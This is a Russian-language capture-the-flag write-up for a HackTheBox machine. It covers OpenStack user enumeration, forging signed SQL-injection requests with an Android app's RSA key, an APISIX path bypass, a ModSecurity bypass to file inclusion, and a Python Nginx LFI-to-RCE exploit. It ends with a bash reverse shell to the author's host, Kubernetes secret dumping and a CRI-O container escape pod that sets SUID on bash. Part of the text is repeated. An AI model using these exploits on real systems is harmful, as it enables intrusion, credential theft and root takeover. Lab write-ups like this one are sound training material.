stihl не предоставил(а) никакой дополнительной информации.
Эту тачку «безумного» уровня сложности я штурмовал почти три месяца. Чего здесь только не встретилось: уязвимость в OpenStack, реверс приложения для Android и подделка сертификатов, баг в Apache APISIX, атака на ModSecurity, которую удалось раскрутить до RCE... Под конец получаем доступ к ноде Kubernetes, сливаем секреты и эксплуатируем баг в minikube CRI-O. В общем, скучно не будет!
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Результат работы скрипта
Сканер нашел много открытых портов:
Запрос на порт 80 приводит нас на сайт Pokatdex со списком героев. Но при выборе любого из них получаем ошибку в формате JSON.
Главная страница сайта Для просмотра ссылки Войди или Зарегистрируйся
Ошибка при выборе персонажа
HTTPS-сервер сразу вернул ошибку, зато на порте 35357 работает OpenStack.
Ошибка на сайте Для просмотра ссылки Войди или Зарегистрируйся
Ответ сервера на порте 35357
По запросу «OpenStack ports» Для просмотра ссылки Войдиили Зарегистрируйся дает понять, что на порте 5000 работает сервис Keystone, а порт 8080 отвечает за Swift (OpenStack Object Storage). Для проверки сделаем запросы к обоим сервисам.
Информация о сервисе Swift OpenStack
Информация о сервисе Keystone OpenStack
Поскольку Burp Suite автоматически строит карту сайта, видим, что на pokatmon.htb доступен файл CHANGELOG, из которого узнаём о существовании некоего приложения для Android, а также WAF ModSecurity.
Карта сайта
Мы знаем версии установленного ПО, поэтому можем попробовать поискать в интернете описания уязвимостей и эксплоиты.
Для просмотра ссылки Войдиили Зарегистрируйся
Суть бага в том, что если мы попробуем несколько раз авторизоваться от имени существующего пользователя, то он будет на время заблокирован и нам вернут соответствующее сообщение. Для имени пользователя, аккаунта которого не существует, мы такого сообщения не получим. Возьмем список имен из набора Для просмотра ссылки Войдиили Зарегистрируйся и попробуем авторизоваться с каждым из имен и десятью разными паролями с помощью Burp Intruder. Для авторизации используем запрос к /v3/auth/tokens со следующими данными.
Burp Intruder — вкладка Positions
Результат перебора
В итоге получаем двух пользователей: admin и andrew. Перебор паролей ничего не дает, поэтому переходим к другому сервису.
OpenStack Object Store (Swift) — ПО для облачного хранилища, позволяющее хранить и извлекать большое количество данных с помощью простого API. По запросу «keystone swift» получаем Для просмотра ссылки Войдиили Зарегистрируйся, из которой узнаём о том, что можно получить доступ к открытым данным, зная только имя пользователя и используя префикс AUTH_. Попробуем перебрать хранилище пользователя andrew.
Результат перебора каталога
Получаем один каталог, который содержит приложение для Android.
Файлы в каталоге android
Видимо, это приложение, которое упоминалось в ченжлоге. Скачиваем его для анализа.
Устройства adb
Теперь с помощью adb установим скачанное приложение и запустим уже с мобильного устройства.
Главное окно приложения
Нас встречает форма авторизации, но, введя тестовые данные, мы не получаем доступ к серверу.
Ошибка приложения
На хостовой системе запускаем Wireshark и смотрим, куда идут запросы. В трафике отмечаем DNS-запрос для резолва api.pokatmon-app.htb.
Перехваченные пакеты в Wireshark
В качестве своего DNS-сервера используем Для просмотра ссылки Войдиили Зарегистрируйся. Для найденного адреса сделаем запись в файле /etc/dnsmasq.conf и запустим dnsmasq.
А теперь перезапустим виртуальную машину, но с указанием DNS-сервера и повторим запрос на сервер.
Ошибка приложения
Наконец приложение может общаться с сервером. Теперь пропустим весь его трафик через Burp Proxy, для чего в настройках Burp создадим новый листенер на VPN-интерфейсе. Созданный листенер указываем в настройках прокси AVD.
Настройки Burp — листенеры Proxy
Настройки Proxy AVD
Но снова не получаем доступ к серверу. Причину можем посмотреть в логах Burp Proxy. Все дело в SSL-сертификате.
Логи Burp Proxy
Чтобы ошибка исчезла, нам нужно установить сертификат Burp в виртуальное устройство. Для этого сначала скачиваем сам сертификат, конвертируем его в формат PEM и переименовываем. В Android имя сертификата — это его контрольная сумма.
Вычисление контрольной суммы сертификата
Теперь нужно сохранить наш серт в каталоге /system/etc/security/cacerts/ устройства. Но просто записать его не получится, так как файловая система виртуальной машины доступна только для чтения. Перезапустим виртуальную машину с параметром -writable-system.
А затем «рутуем» устройство и перемонтируем основной каталог. Если все проходит успешно, сохраняем сертификат Burp.
Запись сертификата на Android
Повторяем попытку авторизации и видим запрос в Burp Proxy.
Запросы в Burp Proxy
Я сразу отправил запрос в Burp Repeater, но оказалось, что у сервера заготовлены разные варианты ответа. Как можно видеть на скрине, на запрос без заголовка authorization сервер ответит, что данные не подписаны. А при изменении данных запроса сервер сообщит о несоответствии подписи.
Запросы на сервер
Тогда будем работать через само приложение. Я попробовал отправить базовую нагрузку ' or 1=1 -- -, это могло бы помочь обойти авторизацию, присутствуй здесь возможность для SQL-инъекции. Оказалось, что приложение не позволяет вводить некоторые символы.
Главное окно приложения
Тогда придется понять, как формируется подпись. При просмотре содержимого APK-файла можно найти два ключа RSA.
Содержимое APK-файла
Через две‑три попытки подписать отправляемые данные с помощью приватного ключа получаем валидную подпись!
Формирование подписи данных
Теперь подписываем данные с упомянутой ранее нагрузкой и делаем запрос на сервер.
Ответ сервера
В ответе получаем почтовый адрес и ключ‑инвайт. С этими данными авторизуемся в приложении и получаем редирект на Для просмотра ссылки Войдиили Зарегистрируйся.
Главное окно приложения
Этот адрес мы уже посещали, там расположен основной сайт, при этом в Burp Proxy видим те же инвайт и почтовый ящик. Но обратим внимание и на веб‑сервер APISIX 2.10.1.
Ответ в Burp Proxy
или Зарегистрируйся статей про уязвимости. Из всех упомянутых CVE наиболее применима Для просмотра ссылки Войди или Зарегистрируйся, которая даст возможность обхода каталога. Тут стоит вернуться к сканированию каталогов, так как изначально я не придал значения множеству результатов с кодом ответа 403.
Результат сканирования каталогов
Их объединяет наличие подстроки private в URI запроса. Дело в том, что URI блокируется благодаря проверке вхождения подстроки, а эту проверку можно обойти, если использовать обычное URL-кодирование.
Для просмотра ссылки Войдиили Зарегистрируйся
Я проверил все каталоги, которые при предыдущем сканировании вернули 403, но ничего, кроме ответа 404, не получил. Тогда запускаем сканирование в каталоге /private/.
Для просмотра ссылки Войдиили Зарегистрируйся
Нам доступны две новые конечные точки API: login и password-reset. Вторая требует указать email для сброса пароля.
Для просмотра ссылки Войдиили Зарегистрируйся
Почтовый адрес мы получали при анализе APK-приложения. Указываем его и получаем какой‑то токен.
Ответ сервера
Переходим к API login, возможно, токен нужен будет где‑то там. Первое, что узнаём, — здесь используется только метод POST.
Ответ сервера
Затем постепенно определяем, что API принимает только почту и пароль.
Ответ сервера
По аналогии выполним POST-запрос к API password-reset. Таким образом находим параметры token и new_password.
Ответ сервера
После смены пароля переходим к главному сайту и авторизуемся через страницу /docs. Там получаем доступ к интерфейсу Swagger и новым API.
Swagger UI
Запрос к API
API расположен на неизвестном до этого момента домене, поэтому обновляем файл /etc/hosts и переносим запрос в curl.
Ответ сервера
В ответе видим упоминание отладки. Попробуем отправить такой параметр — по идее, он должен раскрыть информацию об ошибке.
Ответ сервера
Из ошибки узнаём о функции include(), которая подключает переданный в параметре region файл из каталога regions. Сразу пытаемся передать произвольный файл, но ничего не выходит.
Ответ сервера
Другие API дают однотипный вывод, поэтому через них ничего не получить.
Запрос к API /jiotto
Единственное, на что обращаем внимание, — это преобразование пути на сервере: так, запрос к эндпоинту /jiotto и запрос с параметром region=jiotto дают один и тот же ответ.
Ответ сервера
На этом этапе я потратил очень много времени, но ничего не добился, пока на форуме мне не посоветовали посмотреть на OWASP CRS. OWASP ModSecurity Core Rule Set — это набор правил обнаружения атак, включая первую десятку OWASP, с помощью ModSecurity. И по запросу «OWASP CRS vulns» находим уязвимость Для просмотра ссылки Войдиили Зарегистрируйся, которая очень хорошо описана в Для просмотра ссылки Войди или Зарегистрируйся. Дело в том, что CRS содержит набор исключений для популярных CMS вроде WordPress и Drupal, чтобы избежать ложных срабатываний. В описании уязвимости упоминается правило Для просмотра ссылки Войди или Зарегистрируйся, которое, по идее, должно быть активно, только если его включат, но из‑за неверной настройки активно всегда и отключает сканирование для определенных путей.
Для просмотра ссылки Войдиили Зарегистрируйся
Находим первый путь в самом правиле Для просмотра ссылки Войдиили Зарегистрируйся. В данном случае при запросе к URI, удовлетворяющему регулярному выражению /admin/content/assets/add/[az]+$, происходит проверка cookie, содержимое которого должно соответствовать другому регулярному выражению. Если проверка пройдена, то ModSecurity не проверяет передаваемые в запросе данные.
Для просмотра ссылки Войдиили Зарегистрируйся
Выполним запрос к URI /admin/content/assets/add/a, при этом указываем куки SESSa=a, а параметры переносим из URI в область данных HTTP-запроса. В качестве региона указываем путь к файлу /etc/passwd.
Содержимое файла /etc/passwd
Таким образом мы обошли контроль ModSecurity и раскрыли уязвимость LFI.
Для просмотра ссылки Войдиили Зарегистрируйся
Так как у нас есть LFI и используется PHP в сочетании с веб‑сервером Nginx, мы можем попробовать получить удаленное выполнение кода. Используемая мной техника основана на свойстве Nginx создавать временные файлы для больших запросов. Попробуем выполнить запрос на свой сервер (запустив его командой python3 -m http.server 80) с помощью curl с удаленного сервера. Вот как выглядит эксплоит:
Результат выполнения эксплоита
Логи веб‑сервера
На наш веб‑сервер пришел запрос, а значит, запускаем листенер (pwncat-cs -lp 4321) и заменяем выполняемую в эксплоите команду следующей:
или Зарегистрируйся
А в расположенный на сервере файл test_rce записываем реверс‑шелл:
Выполняем эксплоит и получаем долгожданную сессию.
Сессия пользователя www-data
или Зарегистрируйся.
Результат сканирования портов
Находим API сервера Kubernetes. Проверим наличие файлов доступа, таких как токен и сертификат, в каталоге /run/secrets/kubernetes.io/serviceaccount.
Содержимое каталога serviceaccount и файла token
Из файла namespace узнаём пространство имен applications. Используя найденный токен, запросим все секреты из этого пространства имен.
Для просмотра ссылки Войдиили Зарегистрируйся
Секреты из пространства имен applications
В поле release много данных, закодированных в Base64. Декодируем данные, сохраняем в файл и проверяем его тип командой file.
Проверка типа файла
Это архив gzip. Просматривая данные, находим пару логин — пароль admin:admin, которая ничего нам не дает, а также адрес с учетными данными для сервиса evolution.pokatmon.htb:8888.
Учетные данные
Адрес сервиса
С полученным паролем пользователя andrew подключаемся по SSH и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В каталоге пользователя jennifer есть файлы Kubernetes, в том числе файл с настройками .kube/config.
Файлы Kubernetes
Также в папке jennifer лежит какой‑то шаблон.
Доступные для чтения файлы рута в домашних каталогах пользователей
Посмотрим версию minikube и конфиги из профиля jennifer.
Версия minikube
Конфигурации minikube
Так как используется среда выполнения CRI-O, я сразу вспомнил про Для просмотра ссылки Войдиили Зарегистрируйся. Этот метод LPE мы уже рассматривали в статье «Для просмотра ссылки Войди или Зарегистрируйся».
Kubernetes использует CRI-O для безопасного совместного использования ядра и ресурсов каждой ноды с различными работающими контейнерными приложениями. Ядро Linux принимает параметры времени выполнения, которые управляют его поведением. Kubernetes и управляемые им среды выполнения контейнеров позволяют модулям обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.
Эта уязвимость позволяет обходить меры безопасности и устанавливать произвольные параметры ядра. Таким образом, любой, кто имеет права на развертывание модуля в кластере Kubernetes с CRI-O, может манипулировать параметром kernel.core_pattern для выхода из контейнера и выполнения произвольного кода от имени пользователя root на любом узле в кластере. Параметр ядра kernel.core_pattern указывает, какие действия в случае дампа ядра должно выполнить само ядро.
Первым делом сохраним скрипт /dev/shm/lpe.sh, который будет выполняться в привилегированном режиме и назначать бит SUID командной оболочке bash. Этот скрипт мы и указываем в параметре kernel.core_pattern.
А теперь используем вот такой шаблон для создания пода.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь запускаем бесконечный процесс tail -f /dev/null & и получаем его PID. Затем убиваем процесс, чтобы вызвать аварийный дамп и выполнение скрипта /dev/shm/lpe.sh.
Вызов триггера
После атаки проверяем атрибуты файла /bin/bash.
Проверка файла /bin/bash
Флаг рута
У нас есть флаг рута, а это значит, что машина захвачена!
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Перво‑наперво добавляем IP-адрес машины к себе в /etc/hosts:10.10.11.199 pikatwoo.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел много открытых портов:
- 22 — служба OpenSSH 8.4p1;
- 80 и 8080 — веб‑сервер Nginx 1.18.0;
- 443 — тоже веб‑сервер, поле сертификата commonName раскрывает новый домен api.pokatmon-app.htb;
- 4369 — служба Erlang Port Mapper; сканер заодно показывает нам динамический порт ноды Rabbit — 25672 (также открыт);
- 5000 — очередной веб‑сервер, выполняющий редирект на новый домен pikatwoo.pokatmon.htb;
- 5672 — служба RabbitMQ 3.8.9;
- 35357 — веб‑сервер, выполняющий редирект на домен pikatwoo.htb.
10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb pokatmon.htb pikatwoo.pokatmon.htb
Запрос на порт 80 приводит нас на сайт Pokatdex со списком героев. Но при выборе любого из них получаем ошибку в формате JSON.
HTTPS-сервер сразу вернул ошибку, зато на порте 35357 работает OpenStack.
По запросу «OpenStack ports» Для просмотра ссылки Войди
curl -s [URL]http://10.10.11.199:8080/info[/URL] | jq .
curl [URL]http://10.10.11.199:5000/[/URL] -s | jq .
Поскольку Burp Suite автоматически строит карту сайта, видим, что на pokatmon.htb доступен файл CHANGELOG, из которого узнаём о существовании некоего приложения для Android, а также WAF ModSecurity.
Мы знаем версии установленного ПО, поэтому можем попробовать поискать в интернете описания уязвимостей и эксплоиты.
Точка входа
OpenStack Keystone
Служба Keystone входит в облачную платформу OpenStack и обеспечивает аутентификацию клиентов API, обнаружение служб и распределенную многопользовательскую авторизацию. В случае с Keystone поиск эксплоитов оказался нелегкой задачей, но все же находим уязвимость с идентификатором CVE-2021-38155, которая позволит определить существующих пользователей.Для просмотра ссылки Войди
Суть бага в том, что если мы попробуем несколько раз авторизоваться от имени существующего пользователя, то он будет на время заблокирован и нам вернут соответствующее сообщение. Для имени пользователя, аккаунта которого не существует, мы такого сообщения не получим. Возьмем список имен из набора Для просмотра ссылки Войди
Код:
{
"auth": {
"identity":{
"methods":["password"],
"password":{
"user":{
"password":"§admin§",
"name":"§admin§",
"domain":{
"id":"default"
}}}}}}
В итоге получаем двух пользователей: admin и andrew. Перебор паролей ничего не дает, поэтому переходим к другому сервису.
OpenStack Object Store (Swift) — ПО для облачного хранилища, позволяющее хранить и извлекать большое количество данных с помощью простого API. По запросу «keystone swift» получаем Для просмотра ссылки Войди
ffuf -u [URL]http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ[/URL] -t 256 -w directory_2.3_medium_lowercase.txt -ac
Получаем один каталог, который содержит приложение для Android.
Видимо, это приложение, которое упоминалось в ченжлоге. Скачиваем его для анализа.
Точка опоры
Анализ APK
В качестве виртуальной машины я использую AVD из Android Studio. После запуска виртуального смартфона проверим, определилось ли устройство в adb.adb devices
Теперь с помощью adb установим скачанное приложение и запустим уже с мобильного устройства.
adb install pokatmon-app.apk
Нас встречает форма авторизации, но, введя тестовые данные, мы не получаем доступ к серверу.
На хостовой системе запускаем Wireshark и смотрим, куда идут запросы. В трафике отмечаем DNS-запрос для резолва api.pokatmon-app.htb.
В качестве своего DNS-сервера используем Для просмотра ссылки Войди
address=/api.pokatmon-app.htb/10.10.11.199
А теперь перезапустим виртуальную машину, но с указанием DNS-сервера и повторим запрос на сервер.
emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64
Наконец приложение может общаться с сервером. Теперь пропустим весь его трафик через Burp Proxy, для чего в настройках Burp создадим новый листенер на VPN-интерфейсе. Созданный листенер указываем в настройках прокси AVD.
Но снова не получаем доступ к серверу. Причину можем посмотреть в логах Burp Proxy. Все дело в SSL-сертификате.
Чтобы ошибка исчезла, нам нужно установить сертификат Burp в виртуальное устройство. Для этого сначала скачиваем сам сертификат, конвертируем его в формат PEM и переименовываем. В Android имя сертификата — это его контрольная сумма.
Код:
wget localhost:8080/cert -O cert.der
openssl x509 -inform der -in cert.der -out cert.pem
openssl x509 -inform pem -subject_hash_old -in cert.pem
cp cert.pem 9a5ba575.0
Теперь нужно сохранить наш серт в каталоге /system/etc/security/cacerts/ устройства. Но просто записать его не получится, так как файловая система виртуальной машины доступна только для чтения. Перезапустим виртуальную машину с параметром -writable-system.
emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64 -writable-system
А затем «рутуем» устройство и перемонтируем основной каталог. Если все проходит успешно, сохраняем сертификат Burp.
Код:
adb root
adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
Повторяем попытку авторизации и видим запрос в Burp Proxy.
Я сразу отправил запрос в Burp Repeater, но оказалось, что у сервера заготовлены разные варианты ответа. Как можно видеть на скрине, на запрос без заголовка authorization сервер ответит, что данные не подписаны. А при изменении данных запроса сервер сообщит о несоответствии подписи.
Тогда будем работать через само приложение. Я попробовал отправить базовую нагрузку ' or 1=1 -- -, это могло бы помочь обойти авторизацию, присутствуй здесь возможность для SQL-инъекции. Оказалось, что приложение не позволяет вводить некоторые символы.
Тогда придется понять, как формируется подпись. При просмотре содержимого APK-файла можно найти два ключа RSA.
Через две‑три попытки подписать отправляемые данные с помощью приватного ключа получаем валидную подпись!
echo -n "app_beta_mailaddr=[EMAIL]ralf@ralf.com[/EMAIL]&app_beta_code=1234" | openssl dgst -sha256 -sign private.pem | base64 -w0
Теперь подписываем данные с упомянутой ранее нагрузкой и делаем запрос на сервер.
Код:
echo -n "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" | openssl dgst -sha256 -sign private.pem | base64 -w0
curl -k -X POST -H 'authorization: signature=oZ3SEZMP1n2xRV33Ruf9NNmW5x19GHJv5+Af/akn2dMfnViDpuTd6gP6vm0Zz42pS0VS6B/ymJsgzoekc1QZAjMyoZh9Q+TxZ1MzFFCx2iqiVD27frr+Bblw83VVDKG3Nx/cKkk6NRHeotNQRPhGmQUQrHLPeFWybleMoN5O3qrFnuPehDnYJVheiVyAMyNnJl1Lm7RGXdEva6CEyssNqIqrApbATs8ZQFFsNZgyQKMZh5u6X1sLuVXiSTkYA3fnmwrEyMNzfuvCJU9LUx4sOGRO/Zv9bVhO3knlriRfXN1DPRDX3YePUzhQrdFNApo72yRnmtsecfVJ08sz/huSgQ==' 'https://api.pokatmon-app.htb/public/validate' --data "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" 2>/dev/null| jq
В ответе получаем почтовый адрес и ключ‑инвайт. С этими данными авторизуемся в приложении и получаем редирект на Для просмотра ссылки Войди
Этот адрес мы уже посещали, там расположен основной сайт, при этом в Burp Proxy видим те же инвайт и почтовый ящик. Но обратим внимание и на веб‑сервер APISIX 2.10.1.
Обход каталога в Apache APISIX
Поищем готовые эксплоиты для гейтвея APISIX. Запрос «apisix Vulnerabilities» приводит к Для просмотра ссылки ВойдиИх объединяет наличие подстроки private в URI запроса. Дело в том, что URI блокируется благодаря проверке вхождения подстроки, а эту проверку можно обойти, если использовать обычное URL-кодирование.
Для просмотра ссылки Войди
Я проверил все каталоги, которые при предыдущем сканировании вернули 403, но ничего, кроме ответа 404, не получил. Тогда запускаем сканирование в каталоге /private/.
feroxbuster -k -u '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/']https://api.pokatmon-app.htb/private/[/URL]' -t 256 -w raft-large-words.txt -C 403
Для просмотра ссылки Войди
Нам доступны две новые конечные точки API: login и password-reset. Вторая требует указать email для сброса пароля.
curl -k '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/password-reset']https://api.pokatmon-app.htb/private/password-reset[/URL]'
Для просмотра ссылки Войди
Почтовый адрес мы получали при анализе APK-приложения. Указываем его и получаем какой‑то токен.
curl -k '[URL='https://api.pokatmon-app.htb/%70%72%69%76%61%74%65/password-reset/roger.foster37@freemail.htb']https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb[/URL]'
Переходим к API login, возможно, токен нужен будет где‑то там. Первое, что узнаём, — здесь используется только метод POST.
curl -k '[URL='https://10.10.11.199/%70%72%69%76%61%74%65/login']https://10.10.11.199/private/login[/URL]'
Затем постепенно определяем, что API принимает только почту и пароль.
Код:
curl -k -X POST 'https://10.10.11.199/private/login'
curl -k -X POST 'https://10.10.11.199/private/login' --data 'email=roger.foster37@freemail.htb'
curl -k -X POST 'https://10.10.11.199/private/login' --data 'email=roger.foster37@freemail.htb&password=123'
По аналогии выполним POST-запрос к API password-reset. Таким образом находим параметры token и new_password.
Код:
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb'
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb' --data 'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef17'
curl -k -X POST 'https://api.pokatmon-app.htb/private/password-reset/roger.foster37@freemail.htb' --data 'token=a63ff73c6f79c8aa6dd40b62989f660832148b5c34882fceb55a481446d5ef17&new_password=ralf'
После смены пароля переходим к главному сайту и авторизуемся через страницу /docs. Там получаем доступ к интерфейсу Swagger и новым API.
OWASP ModSecurity CRS — Request Body Bypass
Из четырех API только в первом присутствует параметр, поэтому и разбирать будем только первый.API расположен на неизвестном до этого момента домене, поэтому обновляем файл /etc/hosts и переносим запрос в curl.
Код:
10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb pokatmon.htb pikatwoo.pokatmon.htb pokatdex-api-v1.pokatmon-app.htb www.pokatmon-app.htb pokatdex-api-v1.pokatmon-app.htb
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'"
В ответе видим упоминание отладки. Попробуем отправить такой параметр — по идее, он должен раскрыть информацию об ошибке.
Код:
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=test'&debug=true"
Из ошибки узнаём о функции include(), которая подключает переданный в параметре region файл из каталога regions. Сразу пытаемся передать произвольный файл, но ничего не выходит.
Другие API дают однотипный вывод, поэтому через них ничего не получить.
Единственное, на что обращаем внимание, — это преобразование пути на сервере: так, запрос к эндпоинту /jiotto и запрос с параметром region=jiotto дают один и тот же ответ.
Код:
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/jiotto&debug=true"
curl -X 'GET' "http://pokatdex-api-v1.pokatmon-app.htb/?region=jiotto&debug=true"
На этом этапе я потратил очень много времени, но ничего не добился, пока на форуме мне не посоветовали посмотреть на OWASP CRS. OWASP ModSecurity Core Rule Set — это набор правил обнаружения атак, включая первую десятку OWASP, с помощью ModSecurity. И по запросу «OWASP CRS vulns» находим уязвимость Для просмотра ссылки Войди
Для просмотра ссылки Войди
Находим первый путь в самом правиле Для просмотра ссылки Войди
Для просмотра ссылки Войди
Выполним запрос к URI /admin/content/assets/add/a, при этом указываем куки SESSa=a, а параметры переносим из URI в область данных HTTP-запроса. В качестве региона указываем путь к файлу /etc/passwd.
curl [URL]http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a[/URL] -d "region=../../../../../../etc/passwd&debug=true" -b "SESSa=a"
Таким образом мы обошли контроль ModSecurity и раскрыли уязвимость LFI.
От Nginx LFI к RCE
Найдя LFI, сразу перебираем интересные файлы Linux. Я делаю это через Burp Intruder. Из всего, что я перебрал, только файл /etc/hosts оказался интересным. Из него узнаём, что используется Kubernetes.Для просмотра ссылки Войди
Так как у нас есть LFI и используется PHP в сочетании с веб‑сервером Nginx, мы можем попробовать получить удаленное выполнение кода. Используемая мной техника основана на свойстве Nginx создавать временные файлы для больших запросов. Попробуем выполнить запрос на свой сервер (запустив его командой python3 -m http.server 80) с помощью curl с удаленного сервера. Вот как выглядит эксплоит:
Код:
#!/usr/bin/env python3
import sys, threading, requests
URL = 'http://pokatdex-api-v1.pokatmon-app.htb/admin/content/assets/add/a'
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "SESSa=a",
}
data = { "region": "../../../../../../proc/cpuinfo", "debug": "1" }
r = requests.post(URL, headers=headers, data=data)
cpus = r.text.count('processor')
data = {"region": "../../../../../../proc/sys/kernel/pid_max", "debug": "1"}
r = requests.post(URL, headers=headers, data=data)
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
data = {"region": "../../../../../../proc/" + str(pid)+"/cmdline", "debug": "1"}
r = requests.post(URL, headers=headers, data=data)
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system("curl http://10.10.14.121/test_rce"); /' + 16*1024'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
data = {"region": "../../../../../../proc/self/fd/" + str(pid)+"/../../../"+str(pid)+"/fd/"+str(fd)+"", "debug": "1",}
r = requests.post(URL, headers=headers, data=data)
if "uid=" in r.text:
print(f'[!] Result: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
Логи веб‑сервера
На наш веб‑сервер пришел запрос, а значит, запускаем листенер (pwncat-cs -lp 4321) и заменяем выполняемую в эксплоите команду следующей:
curl
Для просмотра ссылки Войди А в расположенный на сервере файл test_rce записываем реверс‑шелл:
bash -i >& /dev/tcp/10.10.16.46/4321 0>&1
Выполняем эксплоит и получаем долгожданную сессию.
Продвижение
Мы попали в контейнер, а так как используется Kubernetes, сканируем локальную сеть на наличие открытого порта 8443. Для этого загружаем на хост Для просмотра ссылки Войдиnmap -p8443 10.244.0.0/24 --open
Находим API сервера Kubernetes. Проверим наличие файлов доступа, таких как токен и сертификат, в каталоге /run/secrets/kubernetes.io/serviceaccount.
Из файла namespace узнаём пространство имен applications. Используя найденный токен, запросим все секреты из этого пространства имен.
./kubectl --token [token] --server [URL]https://10.244.0.1:8443/[/URL] --insecure-skip-tls-verify -n applications get secrets -o yaml
Для просмотра ссылки Войди
В поле release много данных, закодированных в Base64. Декодируем данные, сохраняем в файл и проверяем его тип командой file.
Это архив gzip. Просматривая данные, находим пару логин — пароль admin:admin, которая ничего нам не дает, а также адрес с учетными данными для сервиса evolution.pokatmon.htb:8888.
С полученным паролем пользователя andrew подключаемся по SSH и забираем первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В каталоге пользователя jennifer есть файлы Kubernetes, в том числе файл с настройками .kube/config.
Также в папке jennifer лежит какой‑то шаблон.
Посмотрим версию minikube и конфиги из профиля jennifer.
dpkg -l | grep minikube
cat /home/jennifer/.minikube/profiles/minikube/config.json
Так как используется среда выполнения CRI-O, я сразу вспомнил про Для просмотра ссылки Войди
Kubernetes использует CRI-O для безопасного совместного использования ядра и ресурсов каждой ноды с различными работающими контейнерными приложениями. Ядро Linux принимает параметры времени выполнения, которые управляют его поведением. Kubernetes и управляемые им среды выполнения контейнеров позволяют модулям обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.
Эта уязвимость позволяет обходить меры безопасности и устанавливать произвольные параметры ядра. Таким образом, любой, кто имеет права на развертывание модуля в кластере Kubernetes с CRI-O, может манипулировать параметром kernel.core_pattern для выхода из контейнера и выполнения произвольного кода от имени пользователя root на любом узле в кластере. Параметр ядра kernel.core_pattern указывает, какие действия в случае дампа ядра должно выполнить само ядро.
Первым делом сохраним скрипт /dev/shm/lpe.sh, который будет выполняться в привилегированном режиме и назначать бит SUID командной оболочке bash. Этот скрипт мы и указываем в параметре kernel.core_pattern.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Код:
/dev/shm/lpe.sh
#!/bin/bash
chmod u+s /bin/bash
А теперь используем вот такой шаблон для создания пода.
Код:
lpe.yaml
apiVersion: v1
kind: Pod
metadata:
name: lpe
namespace: development
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/dev/shm/lpe.sh #"
containers:
- name: lpe-container
image: localhost/public-api
command: ["tail", "-f", "/dev/null"]
kubectl apply -f lpe.yaml --kubeconfig=/home/jennifer/.kube/config
Для просмотра ссылки Войди
Теперь запускаем бесконечный процесс tail -f /dev/null & и получаем его PID. Затем убиваем процесс, чтобы вызвать аварийный дамп и выполнение скрипта /dev/shm/lpe.sh.
kill -SIGSEGV 1367544
